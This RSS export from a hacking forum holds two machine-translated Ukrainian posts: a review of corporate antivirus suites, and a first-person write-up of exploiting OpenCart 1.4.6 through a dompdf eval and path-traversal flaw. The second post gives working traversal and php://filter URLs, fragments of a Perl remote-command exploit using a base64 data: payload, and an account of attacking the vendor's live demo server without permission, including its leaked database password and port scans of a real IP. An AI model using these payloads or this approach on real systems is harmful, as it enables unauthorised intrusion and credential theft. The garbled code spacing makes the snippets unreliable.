<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://hak.bbon.ru/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>Програмування злом хакінг огляд секрети хитрості</title>
		<link>http://hak.bbon.ru/</link>
		<description>Програмування злом хакінг огляд секрети хитрості</description>
		<language>ru-ru</language>
		<lastBuildDate>Fri, 15 Oct 2010 22:40:38 +0400</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Санітарна обробка офісу: вибираємо корпоративний антивірус</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=39#p39</link>
			<description>&lt;p&gt;Антивірусних рішень для захисту корпоративної мережі сьогодні на ринку більш ніж достатньо. Від великої кількості брендів рябить в очах, засвітилися як зарубіжні виробники, так і вітчизняні. У таких умовах вибрати дійсно відповідне рішення дуже складно. Звичайні критерії відбору, якими керуються користувачі домашніх комп&#039;ютерів, тут не прокотять, тому що на перший план виходять зручність управління і розгортання, а також підтримка потрібних ОС і додатків.&lt;br /&gt;Як будемо вибирати?&lt;/p&gt;
						&lt;p&gt;Сучасний офіс може налічувати не один десяток, а то й сотню комп&#039;ютерів, не кажучи вже про наявність декількох серверів, що грають різну роль: поштовий, файловий, колективної роботи і так далі. Використання звичайних антивірусів, які ми звикли бачити на десктопах, в таких умовах вкрай важко. Адже управління домашніми версіями проводиться безпосередньо з робочого місця, а пробігтися по кільком сотням комп&#039;ютерів, щоб перевірити, наприклад, як накотилася оновлення, фізично неможливо (використання засобів віддаленого адміністрування тут теж не варіант). Довірити цю операцію користувачеві - значить піддати мережа небезпеки і звести нанівець усі зусилля щодо захисту. Та й фактично так ми позбавляємо себе частини хліба, кожен же має виконувати свою роботу. Саме тому ринок антивірусних корпоративних систем розвивається за своїми законами, і боротьба за замовника ведеться дуже серйозна, адже антівірь зазвичай вибирають один раз і потім дружать з ним багато років.&lt;/p&gt;
						&lt;p&gt;Корпоративні рішення будуються за схемою &amp;quot;клієнт-сервер&amp;quot;, процес управління на всіх етапах від установки до оновлення баз та збору даних про роботу агентів здійснюється з віддаленої консолі. Серверна частина містить базу даних SQL, при цьому для невеликих мереж зазвичай вистачає можливостей, закладених у вбудованій базі, яка поставляється безкоштовно разом з дистрибутивом. З метою економії інтернет-трафіку оновлення антивірусних клієнтів відбувається з внутрішнього сервера. На цьому спільне між корпоративними антивірусами закінчується. Кожна реалізація має свої особливості: підтримка ОС і платформ для сервера і клієнтів, прив&#039;язка до специфічного ПЗ (наприклад, IIS або SQL Server), функціональність клієнтських модулів, локалізація. І, звичайно ж, є відмінності в ціні і специфіці ліцензування. У всіх цих питаннях ми і спробуємо розібратися. У сьогоднішній огляд в якості піддослідних потрапили:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Kaspersky Open Space Security (KOSS, kaspersky.ru) - лінійка продуктів Лабораторії Касперського для захисту корпоративних мереж будь-якого масштабу і складності;&lt;br /&gt;&amp;#160; &amp;#160; * Dr.Web Enterprise Suite (ES, drweb.com) - рішення для захисту робочих станцій і файлових серверів Windows, поштових серверів Unix на підприємствах будь-якого розміру;&lt;br /&gt;&amp;#160; &amp;#160; * ESET NOD32 Smart Security Business Edition (SSBE, esetnod32.ru) - комплексний захист серверів і робочих станцій Windows і Linux;&lt;br /&gt;&amp;#160; &amp;#160; * Avast! Enterprise Suite (avast.com / ru-ru) - лінійка продуктів для захисту робочих станцій Windows, Windows і Linux серверів, а також продуктів Kerio Mail / WinRoute;&lt;br /&gt;&amp;#160; &amp;#160; * Symantec Endpoint Protection (SEP, symantec.com / ru) - подальший розвиток Symantec AntiVirus Corporate Edition з поліпшеними функціями запобігання загроз.&lt;/p&gt;
						&lt;p&gt;Саме ці рішення перебувають у ТОП при пошуку на спеціалізованих ресурсах.&lt;br /&gt;Комплектація та можливості&lt;br /&gt;Kaspersky Open Space Security&lt;/p&gt;
						&lt;p&gt;Лінійка KOSS складається з декількох продуктів (близько 20), що забезпечують захист найрізноманітніших ресурсів: робочих станцій (Windows XP - Se7en 32/64-bit, Linux), смартфонів (Symbian), інтернетшлюзов, поштових (Sendmail, Qmail, Postfix, Exim, Exchange, Lotus) і файлових серверів (Windows, Linux, NetWare). Всі вони підпорядковуються єдиної консолі управління Kaspersky Administration Kit.&lt;/p&gt;
						&lt;p&gt;Адміністратор самостійно збирає мозаїку з компонентів, необхідних для захисту систем і сервісів. Але при цьому процес їх відбору та підрахунку суми ліцензії дуже прозорий, тому неприємних сюрпризів вдається уникнути. Ліцензія розраховується з кількості обраних компонентів, тип компонента на ціну не впливає. Клієнт антивіруса Касперського для Windows / Linux Workstation, що встановлюється на робочі місця користувачів, забезпечує комплексний захист і включає в себе антивірус, IDS / IPS, антифішинг, контроль трафіку і підключення зовнішніх пристроїв. Крім цього, в KOSS реалізована підтримка Cisco NAC і Microsoft NAP (докладніше про технологію захисту мережевого доступу NAP дивися в статті &amp;quot;Мережевий коп&amp;quot;, опублікованій в] [12.2008).&lt;br /&gt;Dr.Web Enterprise Suite&lt;/p&gt;
						&lt;p&gt;Недавно анонсований Dr.Web ES 5.0 позиціонується як універсальний засіб для захисту робочих станцій і файлових серверів Windows (Win95 - Win7, клієнти лише 32-bit, сервери 32/64-bit), а також поштових серверів Unix (Linux, FreeBSD до 7.1, Solaris). Наявність у списку застарілих версій ОС часто є вирішальним аргументом при виборі цієї розробки в організаціях, де таких систем багато, а апгрейд небажаний або неможливий. Відповідно, невисокі і системні вимоги, необхідні для роботи агента Dr.Web на комп&#039;ютерах користувачів. Всі компоненти (агент і сервер) розгортаються з одного дистрибутива, що помітно спрощує процес установки. Управління проводиться за допомогою локалізованих консолі управління та / або веб-інтерфейсу. Останній з&#039;явився у версії 5.0 і зроблений з урахуванням можливої роботи непідготовленого користувача. У залежності від виду ліцензії, агент буде забезпечувати різну функціональність. Для ліцензії &amp;quot;антивірус&amp;quot; отримуємо антивірус, антіруткит і антишпигун, за наявності ліцензії &amp;quot;комплексного захисту&amp;quot; додаються антиспам, веб-антивірус і офісний контроль (управління доступом до мережевих і локальних ресурсів). Додатково може встановлюватися NAP Validator, що забезпечує перевірку відповідності політикам NAP.&lt;br /&gt;ESET NOD32 Smart Security Business Edition&lt;/p&gt;
						&lt;p&gt;Розробка від ESET є комплексним рішенням, призначеним для захисту як робочих станцій, так і серверів. Можливості клієнтської частини антивіруса збігаються з оснащенням NOD32, який ми звикли бачити на десктопах. Основою є модуль ThreatSense, що використовує сигнатурний і евристичний / проактивний аналіз для захисту від вірусів, руткітів і шпигунських модулів. Також в стандартну поставку входить фільтр пошти та веб-сторінок. Модуль ThreatSense може інтегруватися до деяких поштові клієнти (MS Outlook, Thunderbird, The Bat! Та інші). У версії Smart Security до зазначених вище модулів додаються персональний фаєр і антиспам. Файервол, перевіряючи мережеві з&#039;єднання, визначає і блокує деякі типи атак, відстежує зміни у виконуваних файлах і в разі розбіжності забороняє з&#039;єднання до прийняття рішення користувачем. В якості клієнтських систем можуть виступати 32 і 64-бітові версії Windows від 2000 до Se7en (включаючи і редакцію Server), а також Linux / BSD / Solaris і Novell Netware. Централізоване управління здійснюється з консолі ESET Remote Administrator.&lt;br /&gt;avast! Enterprise Suite&lt;/p&gt;
						&lt;p&gt;Продукт компанії ALWIL Software, що займається розробкою відомого антивіруса avast! Free antivirus. Основу корпоративної версії становить антивірус avast! Professional Edition (або NetClient Edition для використання інструменту керування ADNM), який призначений для захисту робочих станцій від вірусів, руткітів і шпигунського ПЗ. Крім цього, у клієнті реалізована перевірка вхідної та вихідної пошти, P2P і IM-трафіку, блокування потенційне небезпечних скриптів на веб-сторінках. Модуль Network Shield, що входить до складу клієнта, забезпечує захист від деяких мережевих атак. Підтримуються все не серверні версії Windows від 95 до Vista, у тому числі і 64-бітові редакції. Інсталятор автоматично визначає розрядність ОС. Для захисту інших компонентів мережі використовуються відповідні додатки, що встановлюються окремо: сервера Windows (з плагінами Exchange, ISA, Sharepoint і т.д.) і Linux / Unix, модулі підтримки Kerio і PDA. Управління здійснюється централізовано з консолі avast! Distributed Network Manager (ADNM).&lt;br /&gt;Symantec Endpoint Protection&lt;/p&gt;
						&lt;p&gt;SEP - нащадок знаменитого Norton Antivirus. Пакет забезпечує захист робочих станцій, ноутбуків і серверів, що працюють під управлінням 32/64-бітних Win 2k - Se7en (клієнтські та серверні), Linux, Novell Open Enterprise Server (OES/OES2) і VMWare ESX. Клієнт, що встановлюється на робочі станції та сервера, має повний набір модулів захисту: антивірус, антишпигун, файервол, IPS і контроль додатків. Інструмент VxMS (Veritas Mapping Service) дозволяє виявляти руткіти; проактивний модуль Proactive ThreatScan аналізує поведінку додатків і у разі виявлення відхилень блокує виконання небезпечного коду. Адміністратор, диригуючи політиками з консолі Symantec Endpoint Protection Manager, управляє не тільки налаштуваннями сканування і оновлення модулів, але і доступом користувачів до файлів, каталогів та програмами, контролює цілісність системи, записи реєстру. По окремій ліцензії пропонується модуль Network Access Control, перевіряючий системи на відповідність встановленим політикам і на основі їх стану дозволяє доступ до ресурсів мережі. Тепер розглянемо, що необхідно для розгортання та управління представленими антивірусами. Тут також є свої особливості.&lt;br /&gt;Розгортання та управління&lt;br /&gt;Kaspersky Open Space Security&lt;/p&gt;
						&lt;p&gt;Почнемо з продукту Лабораторії Касперського. Централізоване управління здійснюється за допомогою інструменту Kaspersky Administration Kit, до складу якого входить консоль управління (локалізована), агент управління (встановлюється на кожну систему) і сервер адміністрування. На останнього, власне, і покладаються всі функції з управління роботою агентів, збір інформації про їх стан, оновлення антивірусних баз і зберігання налаштувань. Причому в мережі може працювати декілька пов&#039;язаних між собою серверів адміністрування, тому дуже легко розподілити навантаження серверів у великих розгалужених мережах. Все управління здійснюється з єдиної консолі. Для установки програм адміністратор копіює дистрибутиви на сервер, а потім поширює на інші системи; також пропонується традиційний (ручний) варіант установки.&lt;/p&gt;
						&lt;p&gt;Для розгортання сервера знадобиться комп&#039;ютер під Win 2k/2k3/2k8/XP/Vista, а також база даних MS SQL Server, MSDE / Express або MySQL. Установчий пакет самодостатній, тому MSDE і всі необхідні бібліотеки будуть інстальовані з одного файлу.&lt;/p&gt;
						&lt;p&gt;Зверни увагу на наявність у списку десктопних версій ОС - це дозволяє в невеликих мережах використовувати під сервер малонавантажені робочу станцію.&lt;/p&gt;
						&lt;p&gt;Для зручності адміністрування великою кількістю систем використовується концепція логічної мережі, в якій кожна група систем має свої налаштування. За замовчуванням її конфігурація збігається з фізичної, але це необов&#039;язково - можна легко виділити системи в групу за певним критерієм. Також хочеться відзначити наявність майстрів початкового налаштування та віддаленої установки, які дозволяють з ходу зробити потрібні налаштування і розгорнути систему захисту, не розбираючись з інтерфейсом консолі.&lt;br /&gt;Dr.Web Enterprise Suite&lt;/p&gt;
						&lt;p&gt;Як зазначалося раніше, розробники Dr.Web пішли дещо іншим шляхом; їхній продукт - це єдине рішення, що включає сервер і агент. Серверна частина складається з антивірусного сервера, консолі адміністратора і SQL сервера. Призначення компонентів збігається з Kaspersky Administration Kit. У мережі можна розгорнути кілька серверів, об&#039;єднаних в ієрархічну структуру і взаємодіючих між собою. Управління здійснюється з єдиної консолі (локальної або веб), куди також виводиться інформація про стан агентів.&lt;/p&gt;
						&lt;p&gt;Серверна частина побудована з використанням Java, і сьогодні можлива установка на Windows 2k/XP/2k3/2k8, Linux, FreeBSD і Solaris. У якості СУБД підключається вбудована IntDB база даних (підходить для мереж малого і середнього розміру) або MS SQL Server CE, Oracle (або будь-яка інша через ODBC), в Linux підтримується PostgreSQL.&lt;/p&gt;
						&lt;p&gt;Сама консоль управління з четвертої версії практично не змінилася. Деякі завдання, щоб не шукати їх у списку, можна викликати з контекстного меню клацанням по іконці в треї. Веб-інтерфейс в базових операціях помітно зручніше консолі, особливо для збору даних про стан агентів. Щоб до нього підключитися, слід ввести в браузері адресу сервера і порт 9080/9081 (HTTP / HTTPS). Браузер повинен підтримувати виконання Java.&lt;br /&gt;ESET NOD32 Smart Security Business Edition&lt;/p&gt;
						&lt;p&gt;Для централізованого адміністрування продуктів ESET використовується Remote Administrator (ERA), що складається з сервера (ERAS) і консолі управління (ERAC), що поставляються окремими збірками. Їх основне призначення збігається з рішеннями, описуваними раніше. Сервер забезпечує безпосереднє управління клієнтами та збір даних, додатково може бути дзеркалом оновлень. У мережі може бути встановлено кілька ERAS, які реплікує налаштування на основний сервер.&lt;/p&gt;
						&lt;p&gt;Локалізована консоль дозволяє управляти віддаленої установкою антивіруса, попередньо визначивши конфігурації для пакетів; наказувати налаштування, що відправляються клієнтам; створювати політики і отримувати звіти. Клієнти, встановлені звичайним чином, підключаються в &amp;quot;Настройки - Додаткові налаштування - Різне - Віддалене адміністрування&amp;quot;. Просто відзначаємо прапорець &amp;quot;Підключитися до ESET Remote Administrator Server&amp;quot; і вказуємо адресу і порт (за умовчанням 2222) сервера. Через деякий час клієнт з&#039;явиться у вікні консолі ERAC. Адміністратор визначає, які дані клієнт передає на сервера автоматично, а які - тільки за запитом. Редактор конфігурацій дозволяє вказати будь-які установки для рішень ESET з можливістю експорту у файл XML-формату, вони можуть бути використані для резервування налаштувань, імпорту в ERAC або конфігурування локального клієнта. Передбачений імпорт груп з Active Directory. Слід відзначити наявність ESET SysInspector, який допомагає зібрати дані про систему (драйвера, додатки, мережеві з&#039;єднання і т.д.), і ESET SysRescue, призначеного для створення рятувального диска з антивірусом NOD32 (знадобиться WAIK, докладніше про нього дивися в статті &amp;quot;самозбірні вікна &amp;quot;в] [01.2009). Можливостей у ERAC дуже багато, тому доведеться витратити якийсь час на вивчення його особливостей.&lt;/p&gt;
						&lt;p&gt;Для установки ERAS знадобиться комп&#039;ютер під Windows від NT4 до 2k8/Se7en (працює як служба), для консолі список ОЗ аналогічний, тільки відсутня NT4. У якості бази даних за замовчуванням пропонується вбудована MS Access, як варіант - MS SQL Server, Oracle або MySQL. Зручно, що ліцензія для ERAS не потрібно (ліцензуються тільки клієнтські системи), тому при необхідності можна абсолютно вільно розгорнути будь-яке їх кількість.&lt;br /&gt;avast! Enterprise Suite&lt;/p&gt;
						&lt;p&gt;Серцем консолі управління антивірусами avast! ADNM є Management Server, до якого підключаються клієнти для отримання оновлень і нових політик. Щоб встановити такий сервер, знадобиться комп&#039;ютер з 32/64-бітной версією WinNT/2k/XP/2k3/Vista/2k8. У великих мережах можливе використання декількох MS зі своїми SQL&#039;нимі базами даних. При цьому передбачено два варіанти взаємодії: реплікація налаштувань або використання центрального (dedicaded) сервера. Установчий дистрибутив включає MSDE 2000 (достатньо для мережі до 1000 систем), замість нього можна використовувати повноцінний MS SQL Server 2k/2k5 (у тому числі і 2k5 Express Edition). Також адміністратор може вибрати один з двох методів взаємодії сервера з клієнтськими системами: PUSH і POP. Тобто, коли сервер управляє клієнтами примусово, опитуючи їх стан, або клієнти самі періодично підключаються до сервера за настройками. Сервер працює в якості сервісу (AMS service, AvEngine.exe) і, по суті, є додатковим Прослуховувач HTTP / S протоколу (підключається до процесу httpd.exe). Використання стандартного порту спрощує адміністрування і доступ через закриті фаєрів мережі. Програма установки інтуїтивно зрозуміла і локалізована. У більшості випадків достатньо вказати варіант &amp;quot;Нормальна&amp;quot;, і все необхідне буде встановлено автоматично, включаючи пакети для підтримки російської мови. На етапі запиту ліцензії натискаємо &amp;quot;Демо&amp;quot; - потрібні ліцензії будуть згенеровані автоматично. Також на етапі установки створюється дзеркало антивірусних баз, за основу береться офсайт avast! або вже наявний сервер управління. За замовчуванням встановлюється обліковий запис Administrator з паролем admin.&lt;br /&gt;Symantec Endpoint Protection&lt;/p&gt;
						&lt;p&gt;Система управління Symantec Endpoint Protection також складається з трьох компонентів: Manager (сервер), Console і Database. У мережі може працювати декілька Manager&#039;ов, обмінюються політиками з батьківським сервером. У якості ОС для установки серверної частини підходять Win2k/XP/2k3/2k8 (32/64-bit). Консоль управління, крім цих систем, може бути встановлена на Vista/Se7en. У комплекті з програмою установки йде вбудована SQL&#039;ная база даних (на основі Sybase), яку рекомендується використовувати при підключенні до 100 клієнтів (вона ставиться автоматом при виборі режиму інсталяції &amp;quot;Простий&amp;quot;). При наявності більшої кількості систем рекомендується задіяти повнофункціональний SQL-сервер - MS SQL Server 2kSP4/2k5SP2/2k8. Для роботи серверної частини буде потрібна наявність ролі IIS, яку необхідно встановити до розгортання Manager. Всі компоненти зібрані в єдиний архів (вагою 510 Мб), який доступний на офсайті. Завантажити його можна тільки за допомогою спеціального Java-додатки, що запускається автоматично при натисканні посилання (і реєстрації). Сам процес установки не повинен викликати проблем, буде зрозумілий навіть новачкові. Крім цього є дуже зручні майстри і інструменти. Так, майстер перенесення і розгортання, який стартує одразу після інсталяції, допомагає швидко встановити антивірус на клієнтських системах, перенести групи і політики з батьківських серверів SEP. У великих мережах вручну розсортувати клієнтські системи вельми непросто - тут на допомогу приходять інструменти Symantec&#039;овской консолі. У критерії відбору систем можна задавати до 30 параметрів: ім&#039;я комп&#039;ютера, IP-адресу, частота CPU, версія BIOS і так далі.&lt;br /&gt;Підсумки&lt;/p&gt;
						&lt;p&gt;Як бачимо, представлені рішення відрізняються за багатьма параметрами, і в першу чергу впадає в очі різні функціональні можливості клієнтських модулів, список підтримуваних ОС та особливості управління. Тому перед вибором свого рішення слід уважно оцінити наявні ресурси, а потім вибрати найбільш прийнятний варіант.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Microsoft Forefront Client Security&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Ринок корпоративних антивірусів дуже ємний, тому постійно притягує нових гравців. Відносно недавно в лінійці продуктів Microsoft Forefront з&#039;явився новий компонент Microsoft Forefront Client Security (раніше Microsoft Client Protection), призначений для захисту від шкідливого ПЗ на робочих станціях користувачів і серверах в корпоративній мережі. Клієнт включає антивірусний захист, антишпигун, перевірку відповідності політикам. Продукт базується на ранніх напрацюваннях - Windows Defender і OneCare, так що він не виник &amp;quot;з нічого&amp;quot; - перш ніж потрапити на &amp;quot;корпоратив&amp;quot;, технології обкатувалися. В якості сервера управління та звітів використовується Win2k3/Win2k8, клієнтські системи - Win 2k. Можна відзначити дуже просте управління цим продуктом (з єдиної консолі) і одержання інформації у вигляді звітів. Інтегрований з іншими компонентами Microsoft. Так оновлення баз і модулів проводиться за допомогою Windows Update (можна використовувати WSUS), установка агентів - за допомогою GPO.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; В іншому все огляди практично одностайно вказують на те, що за основними функціями він поки програє брендам, який виступає на цьому ринку. Хоча варто пам&#039;ятати, що це тільки перша спроба.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:40:38 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=39#p39</guid>
		</item>
		<item>
			<title>Проникнення у вогнище OpenCart: злом движка онлайн-магазину</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=38#p38</link>
			<description>&lt;p&gt;Ось вона, весна - час депресій, березневих котів і дощів. Робити що-небудь зовсім не було бажання, але, як на зло, у мене звільнилася пара вечорів. Втрачати цей дорогоцінний час дуже вже не хотілося, тому я вирішив потренувати очі, покопавшись в PHP-движках. Ну, а раптом чого вигорить? Щоб дізнатися, що ж все-таки вийшло з комбінації OpenCart, пари вечорів і пари літрів кави, читай далі.&lt;br /&gt;Справа була ввечері&lt;/p&gt;
						&lt;p&gt;Почав я за пошуки вразливостей, накачавши самих різних движків останніх версій. У процесі вивчення оних зупинився на движку онлайн-магазину OpenCart версії 1.4.6. Запустив самопальний баш-скрипт для пошуку підозрілих функцій. Серед усього іншого коду, який видав скрипт, мою увагу привернула наступна рядок:&lt;/p&gt;
						&lt;p&gt;eval (&amp;quot;?&amp;quot;. &amp;quot;&amp;gt; $ str&amp;quot;);&lt;/p&gt;
						&lt;p&gt;Ну-ка глянемо, що там у ведмедика всередині. Цей підозрілий шматок коду знаходиться у файлі system / helper / dompdf / include / dompdf.cls.php, на рядку 276 - туди і попрямуємо. Відкриваємо файл і бачимо, що знаходимося усередині методу load_html (), який приймає змінну $ str, і на даному етапі вона ніяк не фільтрується. Але, так як в цьому файлі знаходиться тільки один клас, нам треба знайти точку входження - скрипт, який доступний ззовні і працює з класом DOMPDF. Рівнем вище, в самій папці dompdf, лежать різні скрипти; почнемо перебирати їх в браузері. Відкриваємо перший-ліпший, а це dompdf.php! Бачимо, що скрипт лається, мовляв, не вистачає йому вхідних параметрів. З помилки зрозуміло, що йому потрібно одержати $ _GET [&#039;input_file&#039;]. Ну що ж, задовольнимо його, але попередньо подивимося, що знаходиться всередині самого скрипта. А всередині - мішанина всяких умов. Щоб дізнатися, як далеко скрипт виконався, я зазвичай розставляю в самих різних місцях налагодження повідомлення типу:&lt;/p&gt;
						&lt;p&gt;printf (&amp;quot;File:% s, line:% d&amp;quot;, __FILE__, __LINE__);&lt;/p&gt;
						&lt;p&gt;Трохи помучив скрипт, я встановив наступне: якщо вказати необхідний параметр input_file, то він потрапляє в метод load_html_file () класу DOMPDF. Цей метод, в свою чергу, намагається прочитати файл в рядок за допомогою функції file_get_contents (), а потім передає вміст в метод load_html (). І відбувається все це без будь-яких фільтрацій. Чи то розробники сподівалися на те, що користувачі цієї бібліотеки будуть всі фільтрувати, чи то вони дуже наївні і залишили все на волю долі. Як би там не було, це грає нам на руку. Слідуючи логіці роботи скрипта, виходить, що ми можемо читати файли. Перевіримо цю справу. У браузері я набрав:&lt;/p&gt;
						&lt;p&gt;http://localhost/h/opencart_v1.4.6/upload/system/helper/dompdf/dompdf.php?input_file=../../../../../../etc/passwd&lt;/p&gt;
						&lt;p&gt;О, так, ми отримали / etc / passwd у вигляді PDF-файлу. Виходячи з того, для яких цілей служить бібліотека, цього можна було очікувати.&lt;br /&gt;Пишемо експлойт&lt;/p&gt;
						&lt;p&gt;Читати довільні файли, нехай і в такій збоченій формі - це непогано, але хотілося чогось більшого. Вже дуже сильно eval () муляв очі - не можна упускати можливість виконати PHP-код. У цьому випадку було б достатньо заінклудіть будь-який файл, що містить код, і він би успішно виконався. Але у своєму експлойт для цього движка я хотів зробити віддалене виконання команд без інклуда сторонніх файлів. Починаючи з версії PHP 5.2.0 підтримується обгортка data:, яку і було вирішено задіяти. Протокол data був описаний в 127 номері журналу, так що звертайся туди, а ми їдемо далі.&lt;/p&gt;
						&lt;p&gt;Як завжди, експлойт я писав на своєму улюбленому Perl. У цілому, експлойт буде зрозумілий і недосвідченому в Perl людині, але там я застосував один трюк з башем. Щоб тебе не бентежити, про всяк випадок поясню наступний рядок:&lt;/p&gt;
						&lt;p&gt;$ Cmd = encode_base64 ($ cmd. &#039;| Sed-e: a-e \&#039; $! N; s / \ n / &amp;lt;br\/&amp;gt; /; ta \&#039;&#039;);&lt;/p&gt;
						&lt;p&gt;У змінній $ cmd міститься введена тобою команда, допустимо, ls-la. Склеюємо її з тим однострочніком, що справа. Цей сниппет з sed я застосував лише для того, щоб перетворити переноси рядків у &#039;&amp;lt;br/&amp;gt;&#039;, так як в отриманій PDF застосовується HTML-форматування. У підсумку вийде наступна команда:&lt;/p&gt;
						&lt;p&gt;ls-la | sed-e: a-e &#039;$! N; s / \ n / &amp;lt;br\/&amp;gt; /; ta&#039;&lt;/p&gt;
						&lt;p&gt;Через пайп передаємо результат першої команди в sed, який займається форматуванням. Все це добро ми перекодіруем в base64 і вставляємо в черговий шматок коду.&lt;/p&gt;
						&lt;p&gt;my $ tobase64php = &amp;quot;&amp;lt;? php \ @ system (base64_decode (&#039;$ cmd&#039;));&amp;quot;;&lt;br /&gt;my $ payload = &#039;data:; base64,&#039;. encode_base64 ($ tobase64php);&lt;/p&gt;
						&lt;p&gt;Ну, а тут тобі вже повинно бути все зрозуміло - дуже схоже на горезвісний PHP.&lt;/p&gt;
						&lt;p&gt;Сам експлойт дозволяє виконувати системні команди, а результат приходить у вигляді PDF-файлу. Тут я подумав: а що, якщо за мене вже зробили всю роботу? Зовсім забув погуглити на предмет наявності вразливостей під цей движок. Пошук за останньою версією OpenCart нічого не дав, були лише старі уразливості. А от за &amp;quot;dompdf exploit&amp;quot; (це все-таки стороння бібліотека) дещо знайшлося. Benj Carson з &amp;quot;YGN Ethical Hacker Group&amp;quot; повідомляв про уразливість, яка полягає в тому, що можна завантажувати будь-які файли у форматі PDF (що я і розкопав). Проте мій експлойт використовує більш широкі можливості уразливості, до того ж, про уразливість в OpenCart повідомлено не було.&lt;br /&gt;А що, якщо ..?&lt;/p&gt;
						&lt;p&gt;Отже, експлойт для двигунця був готовий, але тут я згадав про одну річ. Коли я скачував движок, то помітив, що сайт надає онлайнову демо-версію. Здогадуєшся, про що я? Так точно, ми будемо штурмувати оффсайт! Не завжди, звичайно, випадає таке щастя як уразливий движок на самому сайті розробника, але спробувати варто. Хто не ризикує, той не п&#039;є шампанське. Першим ділом я відразу поліз перевіряти, що виплюне уразливий скрипт. У моєму випадку (на локальному сервері) він лаявся на невизначені параметри. Але в демоверсії сайту цілком може бути версія скрипта свіжіше і без уразливості, або взагалі відсутні такий скрипт. Там часто в цілях безпеки обрізають все, що тільки можна. Як би там не було, йдемо за наступним посиланням:&lt;/p&gt;
						&lt;p&gt;demo.opencart.com / system / helper / dompdf / dompdf_main.php&lt;/p&gt;
						&lt;p&gt;Скрипт лається точно також, як і на моєму сервері. Це добре, можемо продовжувати експерименти. На той момент була лише одна ідея - застосувати свіжовичавлений експлойт. Набираємо в консолі:&lt;/p&gt;
						&lt;p&gt;perl dompdf.pl-u = &lt;a href=&quot;http://demo.opencart.com/-c&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://demo.opencart.com/-c&lt;/a&gt; = &#039;ls-la&#039;&lt;/p&gt;
						&lt;p&gt;Дивимося результат в збереженої PDF&#039;ке. Відкриваємо, а там лаються: неправильний формат PDF-файлу. Вирішив подивитися, що ж взагалі сервер віддав в якості змісту файлу. Перейменував файл у текстовік, а всередині помилка PHP:&lt;/p&gt;
						&lt;p&gt;URL file-access is disabled in the server configuration in ...&lt;/p&gt;
						&lt;p&gt;І бла-бла-бла. Це могло означати, що у них на сервері PHP сконфігурований як allow_url_fopen = off. При такому розкладі протокол data не працює, і, природно, RFI тут теж не пройде. Прикро, звичайно, але мене це не зупинило - я вирішив шукати інший спосіб дістати шелл на оффсайте движка.&lt;/p&gt;
						&lt;p&gt;До речі, на локальному сервері бажано мати ту ж конфігурацію, що і на уразливому, щоб максимально наблизити обставини локального тестування до реальних. Тому я і в себе виставив allow_url_fopen = off, щоб у майбутньому не наступати на граблі. Проте, коли тестіруешь движки, варто настроювати PHP на саму м&#039;яку конфігурацію.&lt;br /&gt;Серія невдач ...&lt;/p&gt;
						&lt;p&gt;Спочатку я хотів подивитися, як працює уразливість на оффсайте движка. Раптом читати файли зовсім не вийде? Але чого ворожити - набираємо в браузері:&lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://demo.opencart.com/system/helper/dompdf/dompdf.php?input_file=../../../../../../../etc/passwd&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://demo.opencart.com/system/helper/ &amp;#8230; etc/passwd&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;І викачуємо PDF-файл зі списком користувачів системи. Непогано, але це нам мало допоможе. Я взявся за пошуки конфігураційних файлів в надії знайти аутентифікаційні дані. Прямо в корені системи OpenCart лежить config.php. Але май на увазі, що, перш ніж завантажувати PHP-файл, нам треба його в що-небудь перетворити, інакше він просто виконається як код. Значить, отруйний URL набуває такого вигляду:&lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://demo.opencart.com/system/helper/dompdf/dompdf.php?input_file=php://filter/convert.base64-encode/resource=../../../config.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://demo.opencart.com/system/helper/ &amp;#8230; config.php&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Тут я використав фільтр потоку, який з&#039;явився в PHP з версії 5.0.0. Таким чином, прочитаний файл перетворюється в рядок, закодовану за допомогою base64. Між іншим, хороший спосіб читати бінарники. Отже, використовуючи вразливість, я успішно завантажив вміст файлу у вигляді PDF. Розкодувати назад отриманий рядок, я отримав наступне:&lt;/p&gt;
						&lt;p&gt;&amp;lt;? Php&lt;br /&gt;...&lt;br /&gt;/ / DB&lt;br /&gt;define (&#039;DB_DRIVER&#039;, &#039;mysql&#039;);&lt;br /&gt;define (&#039;DB_HOSTNAME&#039;,&lt;br /&gt;&#039;Localhost&#039;);&lt;br /&gt;define (&#039;DB_USERNAME&#039;,&lt;br /&gt;&#039;Opencart_user&#039;);&lt;br /&gt;define (&#039;DB_PASSWORD&#039;,&lt;br /&gt;&#039;| L $ Ik | S; 15Yf&#039;);&lt;br /&gt;define (&#039;DB_DATABASE&#039;,&lt;br /&gt;&#039;Opencart_demo&#039;);&lt;br /&gt;define (&#039;DB_PREFIX&#039;,&#039;&#039;);&lt;br /&gt;?&amp;gt;&lt;/p&gt;
						&lt;p&gt;Тепер є логін і пароль користувача MySQL. Треба перевірити сервер на наявність відкритого порту 3306. З забугорного Дедик запускаю:&lt;/p&gt;
						&lt;p&gt;nmap 85.13.246.138-p 3306&lt;/p&gt;
						&lt;p&gt;nmap повідомляє про те, що порт відкритий. З того ж Дедик пробуємо:&lt;/p&gt;
						&lt;p&gt;mysql-h 85.13.246.138-u opencart_user-p&lt;/p&gt;
						&lt;p&gt;У нас запитують пароль. Вводимо його, але нас шлють лісом. Численні спроби з різних серверів, через різні проксі і різні методи не дають жодних результатів: то невірний пароль, то незрозуміла каша замість запрошення, то зриви з&#039;єднання. Прикро й незрозуміло. Облом номер один.&lt;/p&gt;
